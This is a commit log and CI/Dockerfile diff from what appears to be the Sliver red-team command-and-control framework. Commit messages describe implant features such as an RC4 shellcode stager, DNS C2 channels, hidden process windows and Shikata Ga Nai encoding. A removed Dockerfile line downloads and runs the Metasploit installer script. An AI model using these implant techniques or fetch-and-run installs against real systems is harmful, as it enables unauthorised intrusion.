Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.9.0 to 0.10.0.
- [Commits](https://github.com/golang/sys/compare/v0.9.0...v0.10.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:36:14 +00:00
dependabot[bot] 0f11532e37 Bump golang.org/x/crypto from 0.10.0 to 0.11.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.10.0 to 0.11.0.
- [Commits](https://github.com/golang/crypto/compare/v0.10.0...v0.11.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:35:37 +00:00
Joe c75cf89def Merge branch 'master' into notxt_dns 2023-07-08 11:27:04 -05:00
Joe 2c6cf1e96b Merge pull request #1332 from stephenbradshaw/stager-rc4-support
Add RC4 support to shellcode stager
2023-07-08 11:26:13 -05:00
Stephen Bradshaw bd4d5eca77 Add RC4 support to shellcode stager 2023-07-08 14:53:37 +10:00
Joe 514da3a682 Merge pull request #1324 from BishopFox/a8c6dependabot/go_modules/gorm.io/gorm-1.25.2
Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
2023-07-03 00:38:33 -05:00
Joe 5e691bdf25 Merge branch 'master' into a8c6dependabot/go_modules/gorm.io/gorm-1.25.2 2023-07-03 00:38:26 -05:00
Joe 0eb997388a Merge pull request #1325 from BishopFox/6595dependabot/go_modules/google.golang.org/protobuf-1.31.0
Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
2023-07-03 00:38:10 -05:00
dependabot[bot] 33e6273c62 Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
Bumps google.golang.org/protobuf from 1.30.0 to 1.31.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:44 +00:00
dependabot[bot] 704d65059f Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/commits/v1.25.2)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:39 +00:00
Joe dee7434bd8 Merge pull request #1323 from BishopFox/go/v1.20.5
Go v1.20.5
2023-07-01 17:33:57 -05:00
moloch-- 8b6b0d7a14 Go v1.20.5 2023-07-01 14:31:55 -07:00
Joe ccf53647b8 Merge pull request #1322 from BishopFox/multiplayer/tailscale
Multiplayer/Tailscale
2023-07-01 11:35:33 -05:00
moloch-- 9e0f9d2fbb Update implant gvisor 2023-07-01 08:46:40 -07:00
Joe dc228a5d2d Merge branch 'master' into multiplayer/tailscale 2023-07-01 10:20:02 -05:00
moloch-- 6bc6f15fd1 Bug fixes to tsnet 2023-07-01 08:19:09 -07:00
moloch-- cb6c8ce4e7 Integrate tsnet option into job mgmt 2023-07-01 07:59:33 -07:00
moloch-- ddf2344e61 Add multiplayer tailscale option, update gvisor 2023-07-01 07:49:24 -07:00
Joe bfacc71048 Merge branch 'master' into notxt_dns 2023-06-29 09:18:11 -05:00
Joe ced8bdda0c Merge pull request #1319 from BishopFox/fix/make-token
Fix make token test
2023-06-29 09:17:50 -05:00
rkervella 78222cb1bc Fix make token test 2023-06-28 15:26:59 -07:00
Joe f99b3cae9c Merge branch 'master' into notxt_dns 2023-06-26 14:26:42 -05:00
Joe 01b370ba44 Merge pull request #1314 from BishopFox/b141dependabot/go_modules/github.com/klauspost/compress-1.16.6
Bump github.com/klauspost/compress from 1.16.5 to 1.16.6
2023-06-26 14:26:15 -05:00
Joe 5b90358328 Merge pull request #1316 from BishopFox/e64fdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.7
Bump github.com/AlecAivazis/survey/v2 from 2.3.6 to 2.3.7
2023-06-26 14:26:02 -05:00
Joe f13b11ff52 Merge branch 'master' into b141dependabot/go_modules/github.com/klauspost/compress-1.16.6 2023-06-26 13:57:25 -05:00
Joe af19c97372 Merge pull request #1311 from ActualTrash/taskmany
Add command to task many implants at once
2023-06-26 13:55:49 -05:00
Joe 4f86172543 Merge branch 'master' into taskmany 2023-06-26 13:55:38 -05:00
dependabot[bot] a5c9f53b8a Bump github.com/AlecAivazis/survey/v2 from 2.3.6 to 2.3.7
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.3.6 to 2.3.7.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.3.6...v2.3.7)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 18:12:14 +00:00
dependabot[bot] 8673552694 Bump github.com/klauspost/compress from 1.16.5 to 1.16.6
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.16.5 to 1.16.6.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.16.5...v1.16.6)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 18:10:56 +00:00
Joe 3a5f4b13a1 Merge pull request #1313 from BishopFox/0530dependabot/go_modules/google.golang.org/grpc-1.56.1
Bump google.golang.org/grpc from 1.56.0 to 1.56.1
2023-06-26 13:05:21 -05:00
Joe f12ba957d4 Merge branch 'master' into taskmany 2023-06-26 12:39:57 -05:00
dependabot[bot] fa4a9cc845 Bump google.golang.org/grpc from 1.56.0 to 1.56.1
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.56.0 to 1.56.1.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.56.0...v1.56.1)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 17:23:45 +00:00
Joe ac66b0726c Merge pull request #1312 from BishopFox/949bdependabot/go_modules/golang.org/x/net-0.11.0
Bump golang.org/x/net from 0.10.0 to 0.11.0
2023-06-26 12:22:00 -05:00
dependabot[bot] c4a35d6850 Bump golang.org/x/net from 0.10.0 to 0.11.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.10.0 to 0.11.0.
- [Commits](https://github.com/golang/net/compare/v0.10.0...v0.11.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 04:00:01 +00:00
chase 395e9717b1 Reorganize taskmany code to work with v1.6 cli 2023-06-25 20:06:33 -04:00
chase f89e435e59 Add additional commands to taskmany 2023-06-25 04:06:46 -04:00
chase 1220611e28 Reorganize and gofmt code 2023-06-24 16:35:43 -04:00
chase e452809056 Add filtering capabilities to taskmany 2023-06-24 15:56:34 -04:00
moloch-- b2989e0ea3 Prevent keyex replays 2023-06-20 22:35:27 -07:00
Joe 6bd1108152 Merge branch 'master' into notxt_dns 2023-06-20 16:29:33 -05:00
Joe 37e35dc1bd Merge pull request #1304 from BishopFox/48c8dependabot/go_modules/golang.org/x/crypto-0.10.0
Bump golang.org/x/crypto from 0.9.0 to 0.10.0
2023-06-20 16:29:19 -05:00
Joe 77a9113025 Merge branch 'master' into 48c8dependabot/go_modules/golang.org/x/crypto-0.10.0 2023-06-20 16:29:02 -05:00
moloch-- 47705435f9 Reorg actions 2023-06-20 12:01:45 -07:00
moloch-- 233542e059 Re-add ref guards 2023-06-20 12:00:15 -07:00
Joe 42795b077e Merge branch 'master' into 48c8dependabot/go_modules/golang.org/x/crypto-0.10.0 2023-06-20 13:57:57 -05:00
moloch-- e687d12241 Only check release ref on release 2023-06-20 11:57:42 -07:00
moloch-- f414bfb01e Fix peer key encoding 2023-06-20 11:56:47 -07:00
Joe 6db7861a70 Merge branch 'master' into notxt_dns 2023-06-20 13:56:16 -05:00
Joe 711c56c0b0 Merge branch 'master' into 48c8dependabot/go_modules/golang.org/x/crypto-0.10.0 2023-06-20 13:42:26 -05:00
Joe 2d1ea6192c Merge pull request from GHSA-8jxm-xp43-qh3q
Fix Sliver KEM
2023-06-20 13:30:11 -05:00
moloch-- 24aa3508b3 Regenerate pb 2023-06-20 11:27:49 -07:00
Joe 02de46647d Merge branch 'master' into advisory-fix-1
Signed-off-by: Joe <[email protected]>
2023-06-20 13:26:54 -05:00
dependabot[bot] 829e83008b Bump golang.org/x/crypto from 0.9.0 to 0.10.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.9.0 to 0.10.0.
- [Commits](https://github.com/golang/crypto/compare/v0.9.0...v0.10.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-20 14:55:50 +00:00
Joe e11f4323a2 Merge pull request #1305 from BishopFox/6f30dependabot/go_modules/github.com/tetratelabs/wazero-1.2.1
Bump github.com/tetratelabs/wazero from 1.2.0 to 1.2.1
2023-06-20 09:54:05 -05:00
Joe 6f7e4401bd Merge pull request #1306 from BishopFox/1efddependabot/go_modules/google.golang.org/grpc-1.56.0
Bump google.golang.org/grpc from 1.55.0 to 1.56.0
2023-06-20 09:53:39 -05:00
Joe 6d32be6d98 Merge pull request #1308 from BishopFox/6e51dependabot/go_modules/golang.org/x/sys-0.9.0
Bump golang.org/x/sys from 0.8.0 to 0.9.0
2023-06-20 09:53:10 -05:00
moloch-- dd98134729 Refactor 2023-06-19 18:23:43 -07:00
moloch-- 4da5deae47 Update vendor/ 2023-06-19 17:54:03 -07:00
moloch-- 1d50db6982 Unit tests pass 2023-06-19 12:28:04 -07:00
moloch-- c718085695 Implemented basic keyex unit tests 2023-06-19 11:19:34 -07:00
dependabot[bot] 466abd1bea Bump golang.org/x/sys from 0.8.0 to 0.9.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.8.0 to 0.9.0.
- [Commits](https://github.com/golang/sys/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-19 04:05:25 +00:00
dependabot[bot] 408a13cf43 Bump google.golang.org/grpc from 1.55.0 to 1.56.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.55.0 to 1.56.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.55.0...v1.56.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-19 04:04:30 +00:00
dependabot[bot] 548a4c54c4 Bump github.com/tetratelabs/wazero from 1.2.0 to 1.2.1
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.2.0 to 1.2.1.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.2.0...v1.2.1)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-19 04:04:12 +00:00
moloch-- 959c3f1909 Peer verification keyex 2023-06-18 17:58:41 -07:00
moloch-- 8f561abfc8 Implemented implant-side encrypt/decrypt 2023-06-18 16:40:28 -07:00
moloch-- 9ab27d1746 initial refactor, broken tests 2023-06-18 16:17:05 -07:00
chase a32d077e16 Add cd and remove duplicate rm from taskmany 2023-06-17 21:11:50 -04:00
Joe 6647abe3d5 Merge pull request #1303 from BishopFox/audit/log
Add additional details to audit log
2023-06-16 18:06:01 -05:00
moloch-- 73f155f6c0 Add additional details to audit log 2023-06-16 13:55:19 -07:00
Joe 57e2111299 Merge pull request #1295 from BishopFox/http-c2-fallback
Fallback to Direct Connection when HTTP Proxy Connection Fails
2023-06-16 15:24:41 -05:00
Joe ea4d517a90 Merge pull request #1302 from BishopFox/fix/implant-exit-1.6
Fix implant exit code.
2023-06-16 13:59:05 -05:00
rkervella b7c8cba630 Fix implant exit code. 2023-06-16 09:14:04 -07:00
Joe f882f52d44 Merge pull request #1301 from BishopFox/windows-hidden-exec
Hidden windows for Executed Processes on Windows
2023-06-16 11:02:03 -05:00
Raf 4b67745c56 Adding the option to spawn processes in Windows with a hidden window 2023-06-16 10:05:38 -04:00
Joe 853537d1f4 Merge pull request #1299 from BishopFox/profile-info
"profiles info" subcommand and saving poll timeout in profile
2023-06-15 09:38:40 -05:00
Raf f6a2021213 Adding profiles info command for detailed info on a profile, saving poll timeout in profile 2023-06-15 09:57:06 -04:00
Joe 4841e46c34 Merge pull request #1298 from BishopFox/save-sgn-pref-in-profile
Storing Shikata Ga Nai (SGN) preference with implant profile
2023-06-14 14:25:16 -05:00
Raf 888d4479a3 Storing Shikata Ga Nai (SGN) preference with implant profile 2023-06-14 12:18:23 -04:00
Joe fd7585e628 Merge pull request #1293 from BishopFox/88cedependabot/go_modules/github.com/ncruces/go-sqlite3-0.7.2
Bump github.com/ncruces/go-sqlite3 from 0.7.0 to 0.7.2
2023-06-13 11:13:31 -05:00
Joe 43969f7c11 Merge pull request #1292 from BishopFox/b526dependabot/go_modules/gorm.io/driver/sqlite-1.5.2
Bump gorm.io/driver/sqlite from 1.5.1 to 1.5.2
2023-06-13 09:48:36 -05:00
Joe d79fe0c4d1 Merge pull request #1291 from BishopFox/370ddependabot/go_modules/modernc.org/sqlite-1.23.1
Bump modernc.org/sqlite from 1.22.1 to 1.23.1
2023-06-13 09:48:16 -05:00
dependabot[bot] 934e45ce38 Bump github.com/ncruces/go-sqlite3 from 0.7.0 to 0.7.2
Bumps [github.com/ncruces/go-sqlite3](https://github.com/ncruces/go-sqlite3) from 0.7.0 to 0.7.2.
- [Release notes](https://github.com/ncruces/go-sqlite3/releases)
- [Commits](https://github.com/ncruces/go-sqlite3/compare/v0.7.0...v0.7.2)

---
updated-dependencies:
- dependency-name: github.com/ncruces/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-12 04:03:46 +00:00
dependabot[bot] ab8da44be4 Bump gorm.io/driver/sqlite from 1.5.1 to 1.5.2
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.5.1 to 1.5.2.
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.5.1...v1.5.2)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-12 04:02:47 +00:00
dependabot[bot] eb3db89e9f Bump modernc.org/sqlite from 1.22.1 to 1.23.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.22.1 to 1.23.1.
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.22.1...v1.23.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-12 04:01:58 +00:00
Tim Makram Ghatas aa2652e4e7 add default http c2 profile parameter for beacons 2023-06-11 19:28:55 -04:00
Tim Makram Ghatas c7531bdacf fixed http c2 randomizer and path segments length bug 2023-06-11 19:24:24 -04:00
Tim Makram Ghatas b7d8c535f0 retrieve monitor config from sqlite db on start command 2023-06-11 18:53:22 -04:00
Tim Makram Ghatas a1194c0c41 allow inserting, deleting and retrieving watchtower configurations from database 2023-06-11 18:44:12 -04:00
Tim Makram Ghatas aac5b227ca added rpc functions for watchtower configuration 2023-06-09 15:33:58 -04:00
Tim Makram Ghatas 20221a8a50 updated watchtower pb object, and added commands for listing adding and removing watchtower configuration 2023-06-09 15:28:50 -04:00
Tim Makram Ghatas fca1202cee added watchtower objects to sql db 2023-06-08 12:24:33 -04:00
Tim Makram Ghatas 6e49197b2c add protobuf definition for watchtower config 2023-06-07 18:01:50 -04:00
b0yd bbe5f4c7cf Removed unnecessary change 2023-06-07 10:15:09 -04:00
b0yd 66c521d719 Merge updates 2023-06-07 09:58:47 -04:00
Tim Makram Ghatas 25f7c6e63e switch to constants variable 2023-06-07 08:08:59 -04:00
Tim Makram Ghatas 678c70d108 add default port check for mtls 2023-06-07 07:53:16 -04:00
Tim Makram Ghatas ee95829770 refactor job creation and move hardcoded values to constants 2023-06-06 23:37:53 -04:00
Tim Makram Ghatas a73bdf91e2 automatically update job id's on server restart 2023-06-06 23:00:37 -04:00
Tim Makram Ghatas 2cac1eb38b set default value for c2 profile and move to constant strings 2023-06-06 21:01:13 -04:00
b0yd 9148720eb2 Added logic to send clear message after a job is completed 2023-06-06 11:09:52 -04:00
Tim Makram Ghatas dcb0128c3c added multiplayer mode job listener to db 2023-06-06 02:40:44 +02:00
Tim Makram Ghatas 195354792e remove unused code 2023-06-06 02:24:35 +02:00
Tim Makram Ghatas 1419e7173c store and retrieve persistent listeners from database 2023-06-06 02:21:16 +02:00
Tim Makram Ghatas 1241d87b9b remove listener from db when killed 2023-06-06 01:13:32 +02:00
Tim Makram Ghatas 3dc7002fdd fixed jobid display error and added sql tables for dns domains and mtls 2023-06-06 00:45:07 +02:00
b0yd 80947425ec Don't bail on replay attack 2023-06-05 17:23:26 -04:00
b0yd 185ded66c2 Error msg 2023-06-05 17:04:35 -04:00
b0yd 884f2d0bd7 Typo 2023-06-05 16:57:51 -04:00
b0yd 4d0f6585d8 More dbg msgs 2023-06-05 16:48:24 -04:00
b0yd 998bd5ab80 Fixed empty message bug 2023-06-05 16:19:15 -04:00
b0yd 76a8de643f Fixed empty message bug 2023-06-05 16:12:23 -04:00
Tim Makram Ghatas a463aa1218 added listener jobs to database, fixed jobid output issue and implemented save query for listener jobs 2023-06-05 20:05:02 +02:00
Tim Makram Ghatas 5281465c7f typo 2023-06-05 19:42:36 +02:00
Tim Makram Ghatas dd433136bc move away from server object to protobuf 2023-06-05 19:17:31 +02:00
Tim Makram Ghatas 906b8eeec7 rebuild protobuf 2023-06-05 19:16:14 +02:00
Tim Makram Ghatas 126dcf7d86 remove persistent flag from client job commands and update variable name 2023-06-05 19:15:44 +02:00
Tim Makram Ghatas 43eb9e3ded update protobuf definition for c2 listeners 2023-06-05 19:14:23 +02:00
Tim Makram Ghatas c8a661dccc fix for binary test cases 2023-06-04 20:32:16 +02:00
b0yd 66b7b98ed3 Hopefully fixed race condition 2023-06-02 16:49:19 -04:00
b0yd d341b1cb3a Hopefully fixed race condition 2023-06-02 16:13:01 -04:00
b0yd f5d2cd2e94 Initialized new map 2023-06-02 15:59:45 -04:00
b0yd 2b2feb306b Hopefully fixed race condition 2023-06-02 15:46:34 -04:00
b0yd d390ac95c7 Attempting to fix race condition in poll 2023-06-02 15:03:18 -04:00
b0yd 52ff6b4c52 Do not respond if there are no messages available 2023-06-02 14:31:23 -04:00
b0yd 4c8486349b Do not respond if there are no messages available 2023-06-02 14:29:08 -04:00
b0yd 58bcac52eb Refuse requests for duplicate requests 2023-06-02 14:11:24 -04:00
b0yd 8469c9a1ce Debug on message send queue 2023-06-02 13:15:27 -04:00
b0yd ca7b62fb7e Removed some error handled that was designed that way 2023-06-02 10:53:22 -04:00
b0yd 1902f131e7 Added error handling, debug msgs, and indexes to AAAA records to be reassembled 2023-06-02 09:40:55 -04:00
b0yd 80e04c71ff Merge branch 'notxt_dns' of https://github.com/rwincey/sliver into notxt_dns 2023-06-01 14:58:04 -04:00
b0yd b8697f6271 Switched from cname to just aaaa IPs 2023-06-01 14:56:01 -04:00
rwincey 91b2836968 Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 13:46:55 -04:00
Tim Makram Ghatas 3e67c6e2b8 replaced hardcoded http profile value with commandline arg, fixed pb issue with certificate digest and switched from profile id to profile name in implantconfig pb 2023-05-30 17:11:32 +02:00
rwincey 244639a79c Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 10:12:52 -04:00
Tim Makram Ghatas c03975d6c4 added profile randomization during implant generation 2023-05-30 13:59:57 +02:00
Tim Makram Ghatas 429c520c78 add ECCPublicKeyDigest to protobuf and database 2023-05-30 11:46:18 +02:00
Tim Makram Ghatas a6ba86379a Merge branch 'v1.6.0/master' into v1.6.0/http-c2 2023-05-30 10:39:22 +02:00
Tim Makram Ghatas 4b7b8c4b3e autoload default profile during implant generation 2023-05-30 10:08:09 +02:00
Tim Makram Ghatas 75c3d0c0fb load http configurations from database on listener creation 2023-05-30 06:41:08 +02:00
Tim Makram Ghatas 8f7da07a35 protobuf build update 2023-05-30 06:21:34 +02:00
Tim Makram Ghatas 95a4604a8b fix path segments generation issues 2023-05-30 06:20:53 +02:00
b0yd 992ee14e82 Fixed cname recursive lookup 2023-05-29 16:00:50 -04:00
b0yd 2066d200c4 More size massaging 2023-05-29 13:10:20 -04:00
b0yd 683a779159 More size massaging 2023-05-29 12:49:35 -04:00
b0yd d14003bf14 More size massaging 2023-05-29 11:15:29 -04:00
b0yd e4b6da3471 More size massaging 2023-05-29 11:06:58 -04:00
b0yd 4c0f36dba2 More size massaging 2023-05-29 10:50:56 -04:00
Tim Makram Ghatas 3b295b3bae fixed renamed protobuf issues and default configuration save 2023-05-28 23:20:59 +02:00
b0yd 302711e817 Trimmed DNS size to fit within 512 2023-05-26 17:39:35 -04:00
b0yd a8b69b352d Added AAAA record to response along with CNAME 2023-05-26 11:32:43 -04:00
b0yd f180dd9aff Added support for nonTXT based DNS comms 2023-05-26 09:13:45 -04:00
Tim Makram Ghatas 09f2521bc3 added check for included c2 channels during config generation 2023-05-26 02:15:25 +02:00
Tim Makram Ghatas d674b8d40f fix sliver rendering code variable name changes 2023-05-26 01:45:04 +02:00
Tim Makram Ghatas d98b24fbc6 add boolean checks for named pipe and tcp pivot 2023-05-26 01:37:44 +02:00
Tim Makram Ghatas 0f38081c0c check for presence of default http c2 profile on startup, and if not present generate and insert into database 2023-05-25 22:58:48 +02:00
Tim Makram Ghatas bedc225344 added default http profile generator 2023-05-25 20:25:42 +02:00
Tim Makram Ghatas 82c68bda54 ImplantConfigSave uses model object instead of protobuf 2023-05-25 16:46:09 +02:00
Tim Makram Ghatas 89b0263634 switch use of models.ImplantConfig to clientpb.ImplantConfig 2023-05-25 00:10:07 +02:00
moloch-- 865f295c65 wip refactor of generate code 2023-05-19 08:25:28 -07:00
moloch-- bad1897e78 Implemented ToProtobuf() conversions 2023-05-17 18:24:05 -07:00
moloch-- ae101d3243 Implemented ToProtobuf() conversions 2023-05-17 18:23:25 -07:00
moloch-- a947d9efeb Implemented basic http c2 pb 2023-05-17 18:13:14 -07:00
moloch-- afa2b5c715 Implemented basic http c2 pb 2023-05-17 18:11:55 -07:00
moloch-- 086eb7fe42 Added more cookie names 2023-05-17 17:27:29 -07:00
moloch-- 55c8cddf88 Expanded default http c2 config 2023-05-17 17:04:44 -07:00
moloch-- 7661d0c1b9 Implement gorm hooks, cleanup 2023-05-17 16:43:40 -07:00
moloch-- f1f736d7c1 Outline http c2 in db 2023-05-17 16:32:04 -07:00
moloch-- 8ad0dfb4c8 Outline http c2 in db 2023-05-17 16:31:56 -07:00
chase 1fd410ee71 Add basic functionality to taskmany command 2023-05-06 04:29:58 -04:00
4416 changed files with 701290 additions and 94794 deletions

No files matched your search

+8 -8
View File
@@ -6,15 +6,15 @@ on:
jobs:
servers-build:
name: Build Server Binaries
name: Release Build Server
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: OS Packages
run: |
@@ -22,7 +22,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -37,18 +37,18 @@ jobs:
path: ./sliver-server_*
clients-build:
name: Build Client Binaries
name: Release Build Client
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+4 -4
View File
@@ -16,13 +16,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v4
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,7 +36,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
@@ -10,15 +10,15 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
linux-windows-build-test:
name: Linux & Windows Test
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: OS Packages
run: |
@@ -27,7 +27,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -44,21 +44,21 @@ jobs:
- name: Make Linux (arm64)
run: make linux-arm64
macos-build:
name: MacOS Build
macos-build-test:
name: MacOS Test
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -80,13 +80,13 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
- name: Go 1.21
uses: actions/setup-go@v4
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+107 -53
View File
@@ -1,71 +1,125 @@
FROM golang:1.20.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
# Sliver using this container configuration! However, if you do want
# a Docker deployment this is probably a good place to start.
# For production:
# docker build --target production -t sliver .
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
#
# For unit testing:
# docker build --target test .
#
ENV PROTOC_VER 21.12
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
# Base packages
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev wget zip unzip
#
# > User
#
### Add sliver user
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
#
# > Sliver
#
# Protoc
# WORKDIR /tmp
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
# && cp -vv ./bin/protoc /usr/local/bin
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# Go assets
### Build sliver:
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server
# Run unit tests
